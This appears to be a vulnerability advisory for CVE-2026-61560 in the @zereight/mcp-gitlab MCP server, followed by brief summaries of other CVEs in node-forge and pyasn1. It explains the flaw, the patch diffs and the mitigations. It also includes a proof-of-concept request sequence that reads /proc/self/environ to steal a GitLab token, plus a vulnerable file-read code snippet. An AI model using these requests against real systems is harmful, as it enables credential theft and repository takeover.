Sep 16, 2026·8 min read·18 visits
Unauthenticated remote attackers can read sensitive local container files and hijack GitLab accounts by abusing exposed Server-Sent Events endpoints and path traversal in the upload_markdown tool of @zereight/mcp-gitlab.
CVE-2026-61560 is a critical security vulnerability in the @zereight/mcp-gitlab Server-Sent Events (SSE) server. By utilizing default, unauthenticated route setups and exposing vulnerable administrative tools, remote attackers can execute path traversal attacks to read internal process variables and hijack GitLab operations.
The Model Context Protocol (MCP) functions as a standardized integration layer between Large Language Models (LLMs) and local or cloud-based data sources. Within deployments leveraging the @zereight/mcp-gitlab server, the application translates complex LLM directives into structured API actions targeting a target GitLab server. Because these operations require substantial privilege levels, the server maintains highly privileged credentials—specifically GitLab Personal Access Tokens (PATs)—which permit broad write and configuration actions across repositories, CI/CD pipelines, and project boards.
To allow remote client applications to issue commands to the server, the application features an optional Server-Sent Events (SSE) network transport mode activated via the SSE=true configuration flag. When running in this state, the application launches an Express-based HTTP server listening on port 3002. In pre-patched iterations, the application binds directly to the default interface (0.0.0.0), exposing the execution endpoints to any network-capable attacker. Critically, these endpoints implement no access controls or operational authorization, granting unauthenticated requestors access to the registered tools of the MCP server.
Among the registered administrative tools, the server exposes the upload_markdown utility. This utility is intended to read local files containing Markdown formatting and push them directly to target GitLab projects. Because the utility handles user-supplied file path definitions without verification, it introduces an arbitrary local file read vulnerability. When chained with the lack of authentication on the transport routes, remote attackers can read internal files, extract the stored Personal Access Tokens, and fully compromise the associated GitLab repositories.
The vulnerability architecture comprises two distinct systemic failures that form a unified attack chain: missing route-level authentication (CWE-306) and unvalidated path resolution in a file-read wrapper (CWE-22).
The first failure is located in the startup sequence of the Express web application inside index.ts. When configured with SSE=true, the application instantiates the server but registers the endpoints /sse and /messages without applying security middleware. The framework processes any HTTP requests received on these paths and hands them off directly to the Model Context Protocol execution flow. Consequently, any network-based client can invoke internal methods, effectively bypassing administrative intent.
The second failure occurs within the execution handler of the upload_markdown tool. The tool receives arguments containing a user-controlled file_path property. Below is a representation of the vulnerable file-reading pattern:
async function uploadMarkdown(args: { file_path: string, project_id: string }) {
// The user-supplied path is passed directly to the filesystem library
const content = fs.readFileSync(args.file_path, 'utf8');
// Upload execution code continues...
}Because the path argument is passed to fs.readFileSync without traversing sanitizers, directory limits, or canonical checks (such as verifying that the absolute resolved path resides within a trusted workspace directory), the function will read any file accessible to the operating system user executing the process.
In standard Docker deployments of @zereight/mcp-gitlab, the container ran as the root user. This permitted the application to read system-restricted paths. By supplying the target path /proc/self/environ, attackers can query the running environment variables of the active process. Because the container deployment requires the application to host the GITLAB_PERSONAL_ACCESS_TOKEN directly in its environment context, the system serves the secret token directly back to the unauthenticated attacker, completing the credentials theft chain.
The vulnerability is addressed in version 2.1.27 via commit e436ee4ad067b64584ec9312c9e9c9a2641c1976. The patch implements a defense-in-depth approach spanning transport access control, loopback constraints, and container privilege reduction.
First, the container configuration has been modified to enforce a loopback-only binding strategy in the default docker-compose templates, preventing unauthorized external exposure:
File: docker/docker-compose.yaml
@@ -2,7 +2,7 @@ services:
gitlab-mcp:
image: zereight050/gitlab-mcp:latest
ports:
- - 3002:3002
+ - 127.0.0.1:3002:3002Second, the execution user has been dropped from high-privilege root to the restricted node user account in the Docker configuration, limiting systemic filesystem visibility:
File: Dockerfile
@@ -23,4 +23,6 @@ EXPOSE 3002
RUN npm ci --ignore-scripts --omit-dev
+USER node
+
ENTRYPOINT ["node", "build/index.js"]Third, an Express authentication middleware layer has been added to intercept incoming requests before executing target methods:
File: index.ts
@@ -12242,15 +12267,25 @@ function registerDownloadProxy(
*/
async function startSSEServer(): Promise<void> {
const app = express();
+ const sseAuthToken = getConfig("sse-auth-token", "SSE_AUTH_TOKEN");
if (MCP_TRUST_PROXY) {
app.set("trust proxy", 1);
}
+ const requireSseAuth = (req: Request, res: Response, next: NextFunction) => {
+ if (!sseAuthToken) return next();
+
+ const match = /^Bearer\s+(\S+)$/i.exec(req.headers.authorization || "");
+ if (match?.[1] === sseAuthToken) return next();
+
+ res.status(401).json({ error: "SSE authentication required" });
+ };
+
const transports: { [sessionId: string]: SSEServerTransport } = {};
let shuttingDown = false;
- app.get("/sse", async (_: Request, res: Response) => {
+ app.get("/sse", requireSseAuth, async (_: Request, res: Response) => {
const serverInstance = createServer();
const transport = new SSEServerTransport("/messages", res);
transports[transport.sessionId] = transport;
@@ -12260,7 +12295,7 @@ async function startSSEServer(): Promise<void> {
await serverInstance.connect(transport);
});
- app.post("/messages", async (req: Request, res: Response) => {
+ app.post("/messages", requireSseAuth, async (req: Request, res: Response) => {
const sessionId = req.query.sessionId as string;
const transport = transports[sessionId];
if (transport) {While this patch implements robust parameter validation and access restrictions, the foundational path traversal bug inside the upload_markdown execution function itself remains unmitigated. The fs.readFileSync call still operates on arbitrary paths without validating directory constraints. Consequently, if the authentication token is compromised, bypassed, or bypassed via Local Request Forgery, the local filesystem remains accessible to validated users.
Exploitation of CVE-2026-61560 requires direct TCP routing to the target server's exposed SSE port. The attacker follows a multi-phase approach to authenticate, execute the arbitrary file read, and retrieve the results.
First, the attacker initiates a Server-Sent Events session against the endpoint. This creates an execution session context in the memory of the Node.js application, which returns a tracking parameter designated as sessionId:
GET /sse HTTP/1.1
Host: target-mcp-server:3002
Accept: text/event-streamSecond, upon parsing the SSE initialization response, the attacker captures the generated session tracking value. Utilizing this identifier, the attacker sends a POST message triggering the vulnerable tool to execute a read command against targeted system files:
POST /messages?sessionId=e2f81a7b-3b48-4cb2-8d76-ff630d6bf43a HTTP/1.1
Host: target-mcp-server:3002
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "upload_markdown",
"arguments": {
"file_path": "/proc/self/environ",
"project_id": "123456",
"branch": "main",
"commit_message": "Exfiltration Run"
}
}
}Once received, the server attempts to execute the upload_markdown utility. It reads the raw contents of /proc/self/environ using the running privilege of the node process. It then executes an authorized API call to upload this file as a commit or markdown block to the associated GitLab project workspace, exposing the process variables to the attacker.
The impact of CVE-2026-61560 is rated critical, represented by an aggregate CVSS score of 9.8. This rating reflects the lack of prerequisite authentication, simplicity of execution, and complete loss of administrative boundaries for both local processes and external integrations.
The disclosure of GITLAB_PERSONAL_ACCESS_TOKEN grants attackers full API permissions matching those of the compromised user account. This credentials exposure enables extensive unauthorized actions, including downloading proprietary repositories, modifying continuous integration pipelines (potentially introducing supply chain compromises), and altering branch protections. This access level effectively bypasses standard perimeter controls.
Furthermore, system operators must address the remaining code paths. Because the patch introduces authentication at the entry point of the route handler rather than correcting the directory boundaries inside upload_markdown, any user who obtains legitimate access to the SSE_AUTH_TOKEN can read system-accessible files. In containerized environments where multiple developer tools query a single MCP deployment, this allows horizontal privilege escalation across internal container resources.
To address this vulnerability, administrators and development teams must implement the following remediation actions. The primary remediation strategy is upgrading the @zereight/mcp-gitlab installation to version 2.1.27 or higher, which enforces access limits on SSE configurations.
If you cannot apply the upgrade immediately, apply these configuration mitigations:
HOST=127.0.0.1 in the system environment.SSE_AUTH_TOKEN environment variable with a strong, randomly generated token. Ensure all authorized client programs append this token as a Bearer authorization header when executing requests.SSE_DANGEROUSLY_ALLOW_UNAUTHENTICATED_REMOTE=true in active production environments, as doing so explicitly disables the implemented route authorization checks.Security teams can verify vulnerability status by running tests against host deployments. Monitor HTTP ingress paths for POST actions directed to /messages that contain directory traversal indicators (such as .., proc, or etc). If you observe indicators of compromise, immediately invalidate any active GITLAB_PERSONAL_ACCESS_TOKEN associated with the container configuration.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@zereight/mcp-gitlab zereight | < 2.1.27 | 2.1.27 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 / CWE-306 |
| Attack Vector | Network |
| CVSS Score | 9.8 |
| EPSS Score | 0.00703 |
| EPSS Percentile | 51.56% |
| Exploit Status | PoC / Conceptual |
| KEV Status | Not Listed |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located under a restricted directory, but the software does not properly neutralize special elements within the pathname.
CVE-2026-118777 is a prototype pollution vulnerability (CWE-1321) in the Forge JavaScript cryptography and networking library (distributed on npm as node-forge) prior to version 1.4.1. The flaw resides in the forge.http client subsystem, where incoming HTTP cookie names and paths parsed from Set-Cookie response headers are stored directly into standard JavaScript objects without key validation or property isolation. By returning crafted Set-Cookie headers containing keys such as __proto__ or constructor, a malicious HTTP server can inject arbitrary properties into Object.prototype, attach attributes to the global Object constructor, or delete built-in prototype methods to cause an application-wide denial of service.
CVE-2026-118775 (GHSA-4642-5mcj-2rqw) is an integer overflow and validation flaw in the ASN.1 serialization module of Forge (node-forge) prior to version 1.4.1. The asn1.oidToDer() function fails to validate the range of the first two arcs of an Object Identifier (OID) and truncates the packed initial subidentifier to a single 8-bit integer. Applications that perform policy checks on untrusted OID strings before encoding them into Distinguished Encoding Rules (DER) format can be tricked into emitting DER bytes that correspond to a completely different, restricted OID.
CVE-2026-119194 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting versions 0.3.3 through 0.6.4. The flaw resides in the schemaless decoding routine ConstructedPayloadDecoderBase._decodeComponentsSchemaless used across BER, CER, and DER codecs. By sending an ASN.1 container populated with child components whose tag identifiers are separated by multiples of CPython's integer hash modulus (sys.hash_info.modulus), an unauthenticated attacker can force worst-case hash collisions in an unbounded Python set, degrading decoding performance from O(N) to O(N^2) and causing a Denial of Service (DoS).
CVE-2026-119195 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting all versions prior to 0.6.5. When decoding constructed strings or indefinite-length ANY types across BER, CER, and certain DER code paths, the payload decoders repeatedly concatenate incoming fragments onto an immutable bytes object using the += operator. Because Python bytes objects cannot be resized in-place, each fragment iteration allocates a new buffer and copies all previously accumulated bytes, resulting in quadratic O(N^2) time and memory copy complexity. An unauthenticated remote attacker can supply a highly fragmented ASN.1 stream to exhaust CPU cycles and stall application worker threads.
An algorithmic complexity vulnerability (CWE-407) in pyasn1 versions prior to 0.6.5 allows unauthenticated attackers to cause a Denial of Service (DoS) via crafted ASN.1 payloads. The flaw resides in the binary-encoded ASN.1 REAL mantissa deserialization routine within RealPayloadDecoder.valueDecoder. By performing iterative byte-string slicing and repeated bitwise shifts on a growing arbitrary-precision integer, the decoder exhibits quadratic time and memory allocation complexity relative to the mantissa length. Supplying a BER-, CER-, or DER-encoded payload with a large REAL mantissa causes excessive CPU consumption and blocks application worker processes.
A vulnerability classified under CWE-407 (Inefficient Algorithmic Complexity) exists in the pyasn1 library prior to version 0.6.5. When parsing constructed ASN.1 BIT STRING payloads under BER, CER, or schema-driven DER encoding rules, the BitStringPayloadDecoder repeatedly shifts and copies the entire accumulated bit value for each incoming fragment. Processing inputs with a large number of small constructed fragments induces quadratic CPU consumption, allowing unauthenticated remote attackers to cause a denial of service via resource exhaustion during the initial decoding phase.